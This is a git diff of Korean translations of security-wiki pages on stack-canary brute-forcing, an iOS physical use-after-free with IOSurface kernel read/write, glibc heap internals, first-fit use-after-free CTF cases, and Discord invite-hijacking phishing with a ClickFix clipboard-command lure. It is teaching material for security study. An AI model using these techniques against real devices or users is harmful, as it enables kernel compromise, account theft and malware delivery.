발견하면 수동으로 이를 알 수 있습니다. +> 그러나 함수 호출의 시작 부분에 스택에 값이 저장되고 이 값이 종료 전에 확인되는 것을 발견하면 수동으로 이를 알 수 있습니다. ## Brute force Canary 간단한 canary를 우회하는 가장 좋은 방법은 바이너리가 **새로운 연결을 설정할 때마다 자식 프로세스를 포크하는 프로그램**인 경우입니다 (네트워크 서비스), 왜냐하면 연결할 때마다 **같은 canary가 사용되기 때문입니다**. -따라서 canary를 우회하는 가장 좋은 방법은 **문자별로 brute-force하는 것**이며, 추측한 canary 바이트가 올바른지 확인하기 위해 프로그램이 충돌했는지 아니면 정상적인 흐름을 계속하는지를 확인할 수 있습니다. 이 예제에서는 함수가 **8 바이트 canary (x64)**를 brute-force하고 올바르게 추측한 바이트와 잘못된 바이트를 **응답**이 서버에 의해 반환되는지를 **확인**하여 구별합니다 (다른 상황에서는 **try/except**를 사용할 수 있습니다): +따라서 canary를 우회하는 가장 좋은 방법은 **문자 하나씩 brute-force**하는 것이며, 추측한 canary 바이트가 올바른지 확인하기 위해 프로그램이 충돌했는지 아니면 정상적인 흐름을 계속하는지를 확인할 수 있습니다. 이 예제에서는 함수가 **8 바이트 canary (x64)**를 brute-force하며, 올바르게 추측한 바이트와 잘못된 바이트를 **응답**이 서버에 의해 반환되는지를 **확인**하여 구별합니다 (다른 상황에서는 **try/except**를 사용할 수 있습니다): ### Example 1 @@ -60,7 +60,7 @@ CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary ### Example 2 이것은 32비트에 대해 구현되었지만, 64비트로 쉽게 변경할 수 있습니다.\ -또한 이 예제에서는 **프로그램이 입력의 크기를 나타내는 바이트와 페이로드를 먼저 기대한다는 점에 유의하십시오.** +또한 이 예제에서는 **프로그램이 입력의 크기를 나타내는 바이트와 페이로드를 먼저 기대한다는 점에 유의하세요.** ```python from pwn import * @@ -109,7 +109,7 @@ log.info(f"The canary is: {canary}") 결과적으로, 두 개의 동일한 카나리(수정된 카나리)가 사용되기 때문에 완화 조치는 무용지물이 됩니다.\ 이 공격은 다음의 글에서 수행됩니다: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) -또한, [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015)에서 TLS가 보통 **`mmap`**에 의해 저장되며, **스레드**의 **스택**이 생성될 때도 `mmap`에 의해 생성된다는 점을 언급하고 있습니다. 이는 이전 글에서 보여준 것처럼 오버플로우를 허용할 수 있습니다. +또한 [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015)에서 TLS가 일반적으로 **`mmap`**에 의해 저장되며, **스레드**의 **스택**이 생성될 때도 `mmap`에 의해 생성된다는 점을 언급하고 있습니다. 이는 이전 글에서 보여준 것처럼 오버플로우를 허용할 수 있습니다. ## 기타 예제 및 참고자료 @@ -119,4 +119,4 @@ log.info(f"The canary is: {canary}") -{{#include /banners/hacktricks-training.md}} +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting.md b/src/binary-exploitation/ios-exploiting.md index 73bd05b7b..ad52d454d 100644 --- a/src/binary-exploitation/ios-exploiting.md +++ b/src/binary-exploitation/ios-exploiting.md @@ -1,6 +1,6 @@ # iOS Exploiting -{{#include /banners/hacktricks-training.md}} +{{#include ../banners/hacktricks-training.md}} ## 물리적 사용 후 해제 @@ -22,14 +22,14 @@ iOS의 사용자 프로세스를 위한 **가상 메모리 주소 공간**은 ** * L1 항목은 전체 영역을 매핑할 수 없는 경우 L2 테이블을 가리킬 수 있습니다. 3. **L3 페이지 테이블 (레벨 3)**: * 가장 세밀한 수준으로, 각 항목은 단일 **4 KB** 메모리 페이지를 매핑합니다. -* 더 세밀한 제어가 필요한 경우 L2 항목은 L3 테이블을 가리킬 수 있습니다. +* L2 항목은 더 세밀한 제어가 필요할 경우 L3 테이블을 가리킬 수 있습니다. #### 가상 메모리를 물리 메모리로 매핑 * **직접 매핑 (블록 매핑)**: * 페이지 테이블의 일부 항목은 가상 주소 범위를 연속적인 물리 주소 범위에 직접 **매핑**합니다 (단축키와 같은 방식). * **자식 페이지 테이블에 대한 포인터**: -* 더 세밀한 제어가 필요한 경우, 한 수준의 항목 (예: L1)은 다음 수준의 **자식 페이지 테이블** (예: L2)을 가리킬 수 있습니다. +* 더 세밀한 제어가 필요할 경우, 한 수준의 항목 (예: L1)은 다음 수준의 **자식 페이지 테이블** (예: L2)을 가리킬 수 있습니다. #### 예시: 가상 주소 매핑 @@ -44,7 +44,7 @@ iOS의 사용자 프로세스를 위한 **가상 메모리 주소 공간**은 ** #### 주소 매핑 예시 -물리 주소 **0x800004000**을 L2 테이블의 첫 번째 인덱스에 기록하면: +L2 테이블의 첫 번째 인덱스에 물리 주소 **0x800004000**을 기록하면: * **0x1000000000**에서 **0x1002000000**까지의 가상 주소는 **0x800004000**에서 **0x802004000**까지의 물리 주소에 매핑됩니다. * 이는 L2 수준에서의 **블록 매핑**입니다. @@ -59,8 +59,8 @@ iOS의 사용자 프로세스를 위한 **가상 메모리 주소 공간**은 ** 1. 프로세스가 **읽기 및 쓰기 가능**한 메모리를 **할당**합니다. 2. **페이지 테이블**이 이 메모리를 프로세스가 접근할 수 있는 특정 물리 주소에 매핑하도록 업데이트됩니다. -3. 프로세스가 메모리를 **해제**합니다. -4. 그러나 **버그**로 인해 커널이 페이지 테이블에서 매핑을 **제거하는 것을 잊어버립니다**, 비록 해당 물리 메모리를 해제된 것으로 표시하더라도. +3. 프로세스가 메모리를 **해제** (자유화)합니다. +4. 그러나 **버그**로 인해 커널이 페이지 테이블에서 매핑을 **제거하는 것을 잊어버립니다**, 비록 해당 물리 메모리를 자유 메모리로 표시하더라도. 5. 커널은 이후 이 "해제된" 물리 메모리를 **커널 데이터**와 같은 다른 용도로 **재할당**할 수 있습니다. 6. 매핑이 제거되지 않았기 때문에 프로세스는 여전히 이 물리 메모리에 **읽기 및 쓰기**를 할 수 있습니다. @@ -75,15 +75,15 @@ iOS의 사용자 프로세스를 위한 **가상 메모리 주소 공간**은 ** 3. 그들은 **해제된 페이지**를 스캔하여 이러한 IOSurface 객체가 해제된 페이지에 위치했는지 확인합니다. 4. 해제된 페이지에서 IOSurface 객체를 찾으면, 이를 사용하여 **커널 메모리**를 **읽고 쓸 수** 있습니다. -이와 관련된 더 많은 정보는 [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)에서 확인할 수 있습니다. +이에 대한 더 많은 정보는 [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)에서 확인할 수 있습니다. ### 단계별 힙 스프레이 프로세스 1. **IOSurface 객체 스프레이**: 공격자는 특별한 식별자("매직 값")를 가진 많은 IOSurface 객체를 생성합니다. 2. **해제된 페이지 스캔**: 그들은 어떤 객체가 해제된 페이지에 할당되었는지 확인합니다. 3. **커널 메모리 읽기/쓰기**: IOSurface 객체의 필드를 조작하여 커널 메모리에서 **임의의 읽기 및 쓰기**를 수행할 수 있는 능력을 얻습니다. 이를 통해: -* 한 필드를 사용하여 커널 메모리에서 **임의의 32비트 값**을 **읽을 수** 있습니다. -* 다른 필드를 사용하여 **64비트 값**을 **쓸 수** 있으며, 안정적인 **커널 읽기/쓰기 원시**를 달성합니다. +* 한 필드를 사용하여 **커널 메모리의 32비트 값을 읽습니다**. +* 다른 필드를 사용하여 **64비트 값을 씁니다**, 안정적인 **커널 읽기/쓰기 원시**를 달성합니다. IOSURFACE_MAGIC 매직 값을 가진 IOSurface 객체를 생성하여 나중에 검색합니다: ```c @@ -151,13 +151,13 @@ IOSurface 객체에는 두 가지 중요한 필드가 있습니다: 1. **사용 카운트 포인터**: **32비트 읽기**를 허용합니다. 2. **인덱스 타임스탬프 포인터**: **64비트 쓰기**를 허용합니다. -이 포인터들을 덮어쓰면, 우리는 이를 커널 메모리의 임의 주소로 리디렉션하여 읽기/쓰기 기능을 활성화할 수 있습니다. +이 포인터를 덮어쓰면, 우리는 이를 커널 메모리의 임의 주소로 리디렉션하여 읽기/쓰기 기능을 활성화합니다. #### 32비트 커널 읽기 읽기를 수행하려면: -1. **사용 카운트 포인터**를 목표 주소에서 0x14 바이트 오프셋을 뺀 주소로 덮어씁니다. +1. **사용 카운트 포인터**를 덮어써서 대상 주소에서 0x14 바이트 오프셋을 뺀 주소를 가리키게 합니다. 2. `get_use_count` 메서드를 사용하여 해당 주소의 값을 읽습니다. ```c uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) { @@ -197,12 +197,12 @@ iosurface_set_indexed_timestamp_pointer(info.object, orig); ``` #### Exploit Flow Recap -1. **물리적 Use-After-Free 트리거**: 재사용 가능한 페이지가 해제됩니다. +1. **물리적 Use-After-Free 트리거**: 재사용 가능한 해제된 페이지가 있습니다. 2. **IOSurface 객체 스프레이**: 커널 메모리에 고유한 "매직 값"을 가진 많은 IOSurface 객체를 할당합니다. 3. **접근 가능한 IOSurface 식별**: 제어하는 해제된 페이지에서 IOSurface를 찾습니다. 4. **Use-After-Free 남용**: IOSurface 객체의 포인터를 수정하여 IOSurface 메서드를 통해 임의의 **커널 읽기/쓰기**를 가능하게 합니다. -이러한 원시 기능을 통해 익스플로잇은 커널 메모리에 대한 제어된 **32비트 읽기** 및 **64비트 쓰기**를 제공합니다. 추가적인 탈옥 단계는 더 안정적인 읽기/쓰기 원시 기능을 포함할 수 있으며, 이는 추가 보호(예: 최신 arm64e 장치의 PPL)를 우회해야 할 수 있습니다. +이러한 원시 기능을 통해 익스플로잇은 커널 메모리에 대한 제어된 **32비트 읽기** 및 **64비트 쓰기**를 제공합니다. 추가 탈옥 단계는 더 안정적인 읽기/쓰기 원시 기능을 포함할 수 있으며, 이는 추가 보호(예: 최신 arm64e 장치의 PPL)를 우회해야 할 수 있습니다. -{{#include /banners/hacktricks-training.md}} +{{#include ../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/README.md b/src/binary-exploitation/libc-heap/README.md index a254ff1b8..cc2db4e30 100644 --- a/src/binary-exploitation/libc-heap/README.md +++ b/src/binary-exploitation/libc-heap/README.md @@ -1,6 +1,6 @@ # Libc Heap -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} ## Heap Basics @@ -12,15 +12,15 @@ ### Basic Chunk Allocation -힙에 저장할 데이터가 요청되면, 힙의 일부 공간이 할당됩니다. 이 공간은 빈에 속하며 요청된 데이터 + 빈 헤더의 공간 + 최소 빈 크기 오프셋만큼이 청크를 위해 예약됩니다. 목표는 각 청크의 위치를 찾는 것을 복잡하게 만들지 않으면서 가능한 최소한의 메모리만 예약하는 것입니다. 이를 위해 메타데이터 청크 정보를 사용하여 사용 중인/비어 있는 청크의 위치를 알 수 있습니다. +힙에 저장할 데이터가 요청되면, 힙의 일부 공간이 할당됩니다. 이 공간은 빈에 속하며 요청된 데이터 + 빈 헤더의 공간 + 최소 빈 크기 오프셋이 청크를 위해 예약됩니다. 목표는 각 청크의 위치를 찾는 것을 복잡하게 만들지 않으면서 가능한 최소한의 메모리만 예약하는 것입니다. 이를 위해 메타데이터 청크 정보를 사용하여 사용 중인/비어 있는 청크의 위치를 알 수 있습니다. 공간을 예약하는 방법은 사용된 빈에 따라 다르지만, 일반적인 방법론은 다음과 같습니다: - 프로그램은 특정 양의 메모리를 요청하는 것으로 시작합니다. - 청크 목록에 요청을 충족할 수 있을 만큼 큰 사용 가능한 청크가 있으면 사용됩니다. - 이는 사용 가능한 청크의 일부가 이 요청에 사용되고 나머지는 청크 목록에 추가될 수 있음을 의미할 수 있습니다. -- 목록에 사용 가능한 청크가 없지만 할당된 힙 메모리에 여전히 공간이 있는 경우, 힙 관리자는 새 청크를 생성합니다. -- 새 청크를 할당할 충분한 힙 공간이 없는 경우, 힙 관리자는 커널에 힙에 할당된 메모리를 확장하도록 요청하고 이 메모리를 사용하여 새 청크를 생성합니다. +- 목록에 사용 가능한 청크가 없지만 할당된 힙 메모리에 여전히 공간이 있는 경우, 힙 관리자는 새로운 청크를 생성합니다. +- 새로운 청크를 할당할 충분한 힙 공간이 없는 경우, 힙 관리자는 커널에 힙에 할당된 메모리를 확장하도록 요청하고 이 메모리를 사용하여 새로운 청크를 생성합니다. - 모든 것이 실패하면, `malloc`은 null을 반환합니다. 요청된 **메모리가 임계값을 초과하면**, **`mmap`**이 요청된 메모리를 매핑하는 데 사용됩니다. @@ -29,26 +29,26 @@ **멀티스레드** 애플리케이션에서 힙 관리자는 충돌로 인한 크래시를 방지해야 합니다. 처음에는 **전역 뮤텍스**를 사용하여 한 번에 하나의 스레드만 힙에 접근할 수 있도록 했지만, 이는 뮤텍스에 의한 병목 현상으로 인해 **성능 문제**를 일으켰습니다. -이를 해결하기 위해 ptmalloc2 힙 할당자는 "아레나"를 도입했습니다. 각 아레나는 **별도의 힙**으로 작용하며 **자신의** 데이터 **구조**와 **뮤텍스**를 가지고 있어, 서로 다른 아레나를 사용하는 한 여러 스레드가 힙 작업을 수행할 수 있습니다. +이를 해결하기 위해 ptmalloc2 힙 할당자는 "아레나"를 도입했습니다. 여기서 **각 아레나**는 **자체** 데이터 **구조**와 **뮤텍스**를 가진 **별도의 힙**으로 작용하여 여러 스레드가 서로 간섭하지 않고 힙 작업을 수행할 수 있도록 합니다. 단, 서로 다른 아레나를 사용할 경우에 한합니다. -기본 "메인" 아레나는 단일 스레드 애플리케이션의 힙 작업을 처리합니다. **새 스레드**가 추가되면, 힙 관리자는 **2차 아레나**를 할당하여 경쟁을 줄입니다. 먼저 각 새 스레드를 사용되지 않는 아레나에 연결하려고 시도하며, 필요할 경우 새 아레나를 생성합니다. 32비트 시스템의 경우 CPU 코어 수의 2배, 64비트 시스템의 경우 8배까지 제한이 있습니다. 제한에 도달하면 **스레드는 아레나를 공유해야 하며**, 이는 잠재적인 경쟁으로 이어질 수 있습니다. +기본 "메인" 아레나는 단일 스레드 애플리케이션의 힙 작업을 처리합니다. **새로운 스레드**가 추가되면, 힙 관리자는 경쟁을 줄이기 위해 **보조 아레나**를 할당합니다. 먼저 각 새로운 스레드를 사용되지 않는 아레나에 연결하려고 시도하며, 필요할 경우 새로운 아레나를 생성합니다. 32비트 시스템의 경우 CPU 코어 수의 2배, 64비트 시스템의 경우 8배까지 제한이 있습니다. 제한에 도달하면 **스레드는 아레나를 공유해야 하며**, 이는 잠재적인 경쟁으로 이어질 수 있습니다. -메인 아레나와 달리, `brk` 시스템 호출을 사용하여 확장되는 메인 아레나와는 달리, 2차 아레나는 `mmap` 및 `mprotect`를 사용하여 "서브힙"을 생성하여 멀티스레드 작업을 위한 메모리 관리의 유연성을 제공합니다. +메인 아레나와 달리, `brk` 시스템 호출을 사용하여 확장되는 보조 아레나는 `mmap` 및 `mprotect`를 사용하여 "서브힙"을 생성하여 힙 동작을 시뮬레이션하고 멀티스레드 작업을 위한 메모리 관리의 유연성을 제공합니다. ### Subheaps -서브힙은 멀티스레드 애플리케이션에서 2차 아레나의 메모리 예비 공간 역할을 하여, 메인 힙과 별도로 자신의 힙 영역을 성장시키고 관리할 수 있게 합니다. 서브힙이 초기 힙과 어떻게 다른지 및 작동 방식은 다음과 같습니다: +서브힙은 멀티스레드 애플리케이션의 보조 아레나를 위한 메모리 예비 공간으로 작용하여, 메인 힙과 별도로 자체 힙 영역을 성장시키고 관리할 수 있게 합니다. 서브힙이 초기 힙과 어떻게 다른지 및 작동 방식은 다음과 같습니다: 1. **초기 힙 vs. 서브힙**: - 초기 힙은 프로그램의 바이너리 바로 뒤에 위치하며, `sbrk` 시스템 호출을 사용하여 확장됩니다. -- 서브힙은 2차 아레나에서 사용되며, 지정된 메모리 영역을 매핑하는 시스템 호출인 `mmap`을 통해 생성됩니다. +- 보조 아레나에서 사용되는 서브힙은 지정된 메모리 영역을 매핑하는 시스템 호출인 `mmap`을 통해 생성됩니다. 2. **`mmap`을 통한 메모리 예약**: - 힙 관리자가 서브힙을 생성할 때, `mmap`을 통해 큰 메모리 블록을 예약합니다. 이 예약은 즉시 메모리를 할당하지 않으며, 다른 시스템 프로세스나 할당이 사용하지 않아야 할 영역을 지정하는 것입니다. - 기본적으로 서브힙의 예약 크기는 32비트 프로세스의 경우 1MB, 64비트 프로세스의 경우 64MB입니다. 3. **`mprotect`를 통한 점진적 확장**: - 예약된 메모리 영역은 처음에 `PROT_NONE`으로 표시되어, 커널이 이 공간에 물리적 메모리를 할당할 필요가 없음을 나타냅니다. -- 서브힙을 "확장"하기 위해, 힙 관리자는 `mprotect`를 사용하여 페이지 권한을 `PROT_NONE`에서 `PROT_READ | PROT_WRITE`로 변경하여 커널이 이전에 예약된 주소에 물리적 메모리를 할당하도록 유도합니다. 이 단계별 접근 방식은 서브힙이 필요에 따라 확장될 수 있게 합니다. -- 서브힙이 모두 소진되면, 힙 관리자는 새 서브힙을 생성하여 할당을 계속합니다. +- 서브힙을 "확장"하기 위해, 힙 관리자는 `mprotect`를 사용하여 페이지 권한을 `PROT_NONE`에서 `PROT_READ | PROT_WRITE`로 변경하여 커널이 이전에 예약된 주소에 물리적 메모리를 할당하도록 유도합니다. 이 단계별 접근 방식은 서브힙이 필요에 따라 확장될 수 있도록 합니다. +- 서브힙이 모두 소진되면, 힙 관리자는 새로운 서브힙을 생성하여 할당을 계속합니다. ### heap_info @@ -72,9 +72,9 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK]; ``` ### malloc_state -**각 힙** (주 아레나 또는 다른 스레드 아레나)에는 **`malloc_state` 구조체가 있습니다.**\ +**각 힙** (주 아레나 또는 다른 스레드 아레나)은 **`malloc_state` 구조체를 가지고 있습니다.**\ **주 아레나 `malloc_state`** 구조체는 **libc의 전역 변수**라는 점에 유의하는 것이 중요합니다 (따라서 libc 메모리 공간에 위치합니다).\ -스레드의 힙에 있는 **`malloc_state`** 구조체는 **자신의 스레드 "힙"** 내부에 위치합니다. +스레드의 힙에 있는 **`malloc_state`** 구조체는 **자신의 스레드 "힙" 내부에** 위치합니다. 이 구조체에서 주목할 만한 몇 가지 흥미로운 점이 있습니다 (아래 C 코드를 참조): @@ -91,7 +91,7 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK]; ``` - `mchunkptr bins[NBINS * 2 - 2];`는 **작고, 큰 및 정렬되지 않은 **bins**의 **첫 번째 및 마지막 청크**에 대한 **포인터**를 포함합니다 (인덱스 0이 사용되지 않기 때문에 -2입니다). -- 따라서, 이러한 bins의 **첫 번째 청크**는 이 구조체에 대한 **역방향 포인터**를 가지며, **마지막 청크**는 이 구조체에 대한 **정방향 포인터**를 가집니다. 이는 기본적으로 **주 아레나에서 이러한 주소를 l**eak할 수 있다면** libc의 구조체에 대한 포인터를 가지게 된다는 것을 의미합니다. +- 따라서, 이러한 bins의 **첫 번째 청크**는 이 구조체에 대한 **역방향 포인터**를 가지고 있으며, **마지막 청크**는 이 구조체에 대한 **정방향 포인터**를 가지고 있습니다. 이는 기본적으로 **주 아레나에서 이러한 주소를 l**eak할 수 있다면** libc의 구조체에 대한 포인터를 가지게 된다는 것을 의미합니다. - 구조체 `struct malloc_state *next;` 및 `struct malloc_state *next_free;`는 아레나의 연결 리스트입니다. - `top` 청크는 마지막 "청크"로, 기본적으로 **남은 모든 힙 공간**입니다. top 청크가 "비어" 있으면 힙이 완전히 사용되며 더 많은 공간을 요청해야 합니다. - `last reminder` 청크는 정확한 크기의 청크가 사용 가능하지 않을 때 발생하며, 따라서 더 큰 청크가 분할되고 남은 부분의 포인터가 여기에 배치됩니다. @@ -159,7 +159,7 @@ struct malloc_chunk* bk_nextsize; typedef struct malloc_chunk* mchunkptr; ``` -앞서 언급했듯이, 이러한 청크는 메타데이터를 포함하고 있으며, 이는 이 이미지에서 잘 나타나 있습니다: +앞서 언급했듯이, 이 청크들은 메타데이터를 포함하고 있으며, 이는 다음 이미지에 잘 나타나 있습니다:

https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png

@@ -169,7 +169,7 @@ typedef struct malloc_chunk* mchunkptr; - `M`: 1이면 이 청크는 mmap으로 할당된 공간의 일부이며 힙의 일부가 아닙니다. - `P`: 1이면 이전 청크가 사용 중입니다. -그 다음, 사용자 데이터 공간이 있으며, 마지막으로 청크가 사용 가능할 때 이전 청크 크기를 나타내기 위해 0x08B가 있습니다(또는 할당될 때 사용자 데이터를 저장하기 위해). +그 다음은 사용자 데이터 공간이며, 마지막으로 청크가 사용 가능할 때 이전 청크 크기를 나타내기 위해 0x08B가 사용됩니다(또는 할당될 때 사용자 데이터를 저장하기 위해 사용됩니다). 또한, 사용 가능할 때 사용자 데이터는 다음과 같은 데이터를 포함하는 데 사용됩니다: @@ -261,7 +261,7 @@ req = (req + (__MTAG_GRANULE_SIZE - 1)) & return request2size (req); } ``` -총 필요한 공간을 계산할 때 `SIZE_SZ`는 1회만 추가됩니다. 이는 `prev_size` 필드가 데이터를 저장하는 데 사용될 수 있기 때문에 초기 헤더만 필요합니다. +총 필요한 공간을 계산할 때 `SIZE_SZ`는 한 번만 추가됩니다. 이는 `prev_size` 필드가 데이터를 저장하는 데 사용될 수 있기 때문에 초기 헤더만 필요합니다. ### 청크 데이터 가져오기 및 메타데이터 변경 @@ -411,7 +411,7 @@ ptr = malloc(0x10); strcpy(ptr, "panda"); } ``` -메인 함수의 끝에 중단점을 설정하고 정보가 어디에 저장되었는지 찾아봅시다: +메인 함수의 끝에 중단점을 설정하고 정보가 어디에 저장되었는지 알아봅시다:
@@ -485,7 +485,7 @@ return 0; ## Bins & Memory Allocations/Frees -bins이 무엇인지, 어떻게 구성되어 있는지, 메모리가 어떻게 할당되고 해제되는지 확인하세요: +bins가 무엇인지, 어떻게 구성되어 있는지, 메모리가 어떻게 할당되고 해제되는지 확인하세요: {{#ref}} bins-and-memory-allocations.md @@ -505,4 +505,4 @@ heap-memory-functions/heap-functions-security-checks.md - [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/) -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/use-after-free/first-fit.md b/src/binary-exploitation/libc-heap/use-after-free/first-fit.md index ae3728931..fba0e8234 100644 --- a/src/binary-exploitation/libc-heap/use-after-free/first-fit.md +++ b/src/binary-exploitation/libc-heap/use-after-free/first-fit.md @@ -8,7 +8,7 @@ ### Unsorted Bins -패스트 청크가 아닌 메모리 청크를 해제하면, 그것은 정렬되지 않은 빈으로 이동합니다. 이 빈은 새로 해제된 청크가 앞쪽(“헤드”)에 추가되는 목록처럼 작동합니다. 새로운 메모리 청크를 요청할 때, 할당자는 정렬되지 않은 빈의 뒤쪽(“테일”)에서 충분히 큰 청크를 찾습니다. 정렬되지 않은 빈의 청크가 필요한 것보다 크면, 그것은 나뉘어지고, 앞부분이 반환되며 나머지 부분은 빈에 남아 있습니다. +패스트 청크가 아닌 메모리 청크를 해제하면, 그것은 정렬되지 않은 빈으로 이동합니다. 이 빈은 새로 해제된 청크가 앞쪽(“헤드”)에 추가되는 리스트처럼 작동합니다. 새로운 메모리 청크를 요청할 때, 할당자는 정렬되지 않은 빈의 뒤쪽(“테일”)에서 충분히 큰 청크를 찾습니다. 정렬되지 않은 빈의 청크가 필요한 것보다 크면, 그것은 나뉘어지고, 앞부분이 반환되며 나머지 부분은 빈에 남아 있습니다. 예시: @@ -49,14 +49,14 @@ d = malloc(20); // a - [**https://heap-exploitation.dhavalkapil.com/attacks/first_fit**](https://heap-exploitation.dhavalkapil.com/attacks/first_fit) - [**https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/**](https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/) -- ARM64. Use after free: 사용자 객체를 생성하고, 이를 해제한 후, 해제된 청크를 가져오는 객체를 생성하여 **이전의 user->password 위치를 덮어씌우는** 작업을 수행합니다. 사용자를 재사용하여 **비밀번호 검사를 우회**합니다. +- ARM64. Use after free: 사용자 객체를 생성하고, 이를 해제한 후, 해제된 청크를 가져오는 객체를 생성하여 **이전의 user->password 위치를 덮어쓰기** 할 수 있도록 합니다. 사용자를 재사용하여 **비밀번호 검사를 우회**합니다. - [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example) - 프로그램은 메모를 생성할 수 있습니다. 메모는 malloc(8)에서 메모 정보와 호출할 수 있는 함수에 대한 포인터를 가지며, 메모 내용이 있는 다른 malloc(\)에 대한 포인터를 가집니다. -- 공격은 메모 정보 크기보다 큰 malloc 내용을 가진 2개의 메모(note0 및 note1)를 생성한 후, 이를 해제하여 빠른 빈(또는 tcache)으로 들어가게 하는 것입니다. +- 공격은 메모 정보 크기보다 큰 malloc 내용을 가진 2개의 메모(note0 및 note1)를 생성한 후, 이를 해제하여 빠른 빈(fast bin) 또는 tcache에 들어가게 하는 것입니다. - 그런 다음, 내용 크기가 8인 또 다른 메모(note2)를 생성합니다. 내용은 note1에 있을 것이며, 청크가 재사용되므로 함수 포인터를 win 함수로 수정할 수 있고, 이후 note1을 Use-After-Free하여 새로운 함수 포인터를 호출합니다. - [**https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html) - 메모리를 할당하고 원하는 값을 작성한 후, 이를 해제하고 재할당할 수 있으며, 이전 데이터가 여전히 존재하므로 청크의 새로운 예상 구조에 따라 처리되어 값을 설정하거나 플래그를 가져올 수 있습니다. - [**https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html) - 이 경우, 특정 청크에 4를 작성해야 하며, 이는 할당된 첫 번째 청크입니다(모든 청크를 강제로 해제한 후에도). 각 새로 할당된 청크의 배열 인덱스 번호가 저장됩니다. 그런 다음 4개의 청크(+ 처음 할당된 청크)를 할당하고, 마지막 청크에는 4가 들어 있으며, 이를 해제하고 첫 번째 청크의 재할당을 강제로 수행합니다. 이때 마지막으로 해제된 청크가 4를 포함하고 있습니다. -{{#include /banners/hacktricks-training.md}} +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/phishing-methodology/discord-invite-hijacking.md b/src/generic-methodologies-and-resources/phishing-methodology/discord-invite-hijacking.md index b50bb44d2..eb0259acd 100644 --- a/src/generic-methodologies-and-resources/phishing-methodology/discord-invite-hijacking.md +++ b/src/generic-methodologies-and-resources/phishing-methodology/discord-invite-hijacking.md @@ -6,11 +6,11 @@ Discord의 초대 시스템 취약점은 위협 행위자가 만료되거나 삭 ## 초대 유형 및 탈취 위험 -| 초대 유형 | 탈취 가능? | 조건 / 댓글 | -|-----------------------|-------------|-----------------------------------------------------------------------------------------------------| -| 임시 초대 링크 | ✅ | 만료 후, 코드는 사용 가능해지며 부스트된 서버에 의해 맞춤 URL로 재등록될 수 있습니다. | -| 영구 초대 링크 | ⚠️ | 삭제되고 소문자와 숫자로만 구성된 경우, 코드는 다시 사용 가능해질 수 있습니다. | -| 사용자 정의 맞춤 링크 | ✅ | 원래 서버가 Level 3 Boost를 잃으면, 해당 맞춤 초대는 새로운 등록을 위해 사용 가능해집니다. | +| 초대 유형 | 탈취 가능? | 조건 / 비고 | +|-----------------------|-------------|--------------------------------------------------------------------------------------------------------| +| 임시 초대 링크 | ✅ | 만료 후, 코드는 사용 가능해지며 부스트 서버에 의해 맞춤 URL로 재등록될 수 있습니다. | +| 영구 초대 링크 | ⚠️ | 삭제되고 소문자와 숫자로만 구성된 경우, 코드는 다시 사용 가능해질 수 있습니다. | +| 사용자 정의 맞춤 링크 | ✅ | 원래 서버가 Level 3 Boost를 잃으면, 해당 맞춤 초대는 새로운 등록을 위해 사용 가능해집니다. | ## 악용 단계 @@ -29,7 +29,7 @@ Discord의 초대 시스템 취약점은 위협 행위자가 만료되거나 삭 ## Discord 서버를 통한 피싱 흐름 1. 서버 채널을 제한하여 **#verify** 채널만 보이도록 합니다. -2. 신규 사용자가 OAuth2를 통해 인증하도록 유도하는 봇(예: **Safeguard#0786**)을 배포합니다. +2. 봇(예: **Safeguard#0786**)을 배포하여 신규 사용자가 OAuth2를 통해 인증하도록 유도합니다. 3. 봇이 사용자를 피싱 사이트(예: `captchaguard.me`)로 리디렉션합니다. 이는 CAPTCHA 또는 인증 단계의 가장을 씁니다. 4. **ClickFix** UX 트릭을 구현합니다: - 깨진 CAPTCHA 메시지를 표시합니다. @@ -50,7 +50,7 @@ navigator.clipboard.writeText(cmd); - 최소한 하나의 대문자 또는 비알파벳 문자가 포함된 영구 초대 링크를 사용하세요 (만료되지 않으며 재사용할 수 없음). - 정기적으로 초대 코드를 변경하고 오래된 링크를 취소하세요. -- Discord 서버 부스트 상태 및 맞춤 URL 청구를 모니터링하세요. +- Discord 서버 부스트 상태 및 사용자 정의 URL 청구를 모니터링하세요. - 사용자에게 서버의 진위를 확인하고 클립보드에 붙여넣은 명령을 실행하지 않도록 교육하세요. ## 참고 문헌 @@ -58,4 +58,4 @@ navigator.clipboard.writeText(cmd); - From Trust to Threat: Hijacked Discord Invites Used for Multi-Stage Malware Delivery – https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/ - Discord Custom Invite Link Documentation – 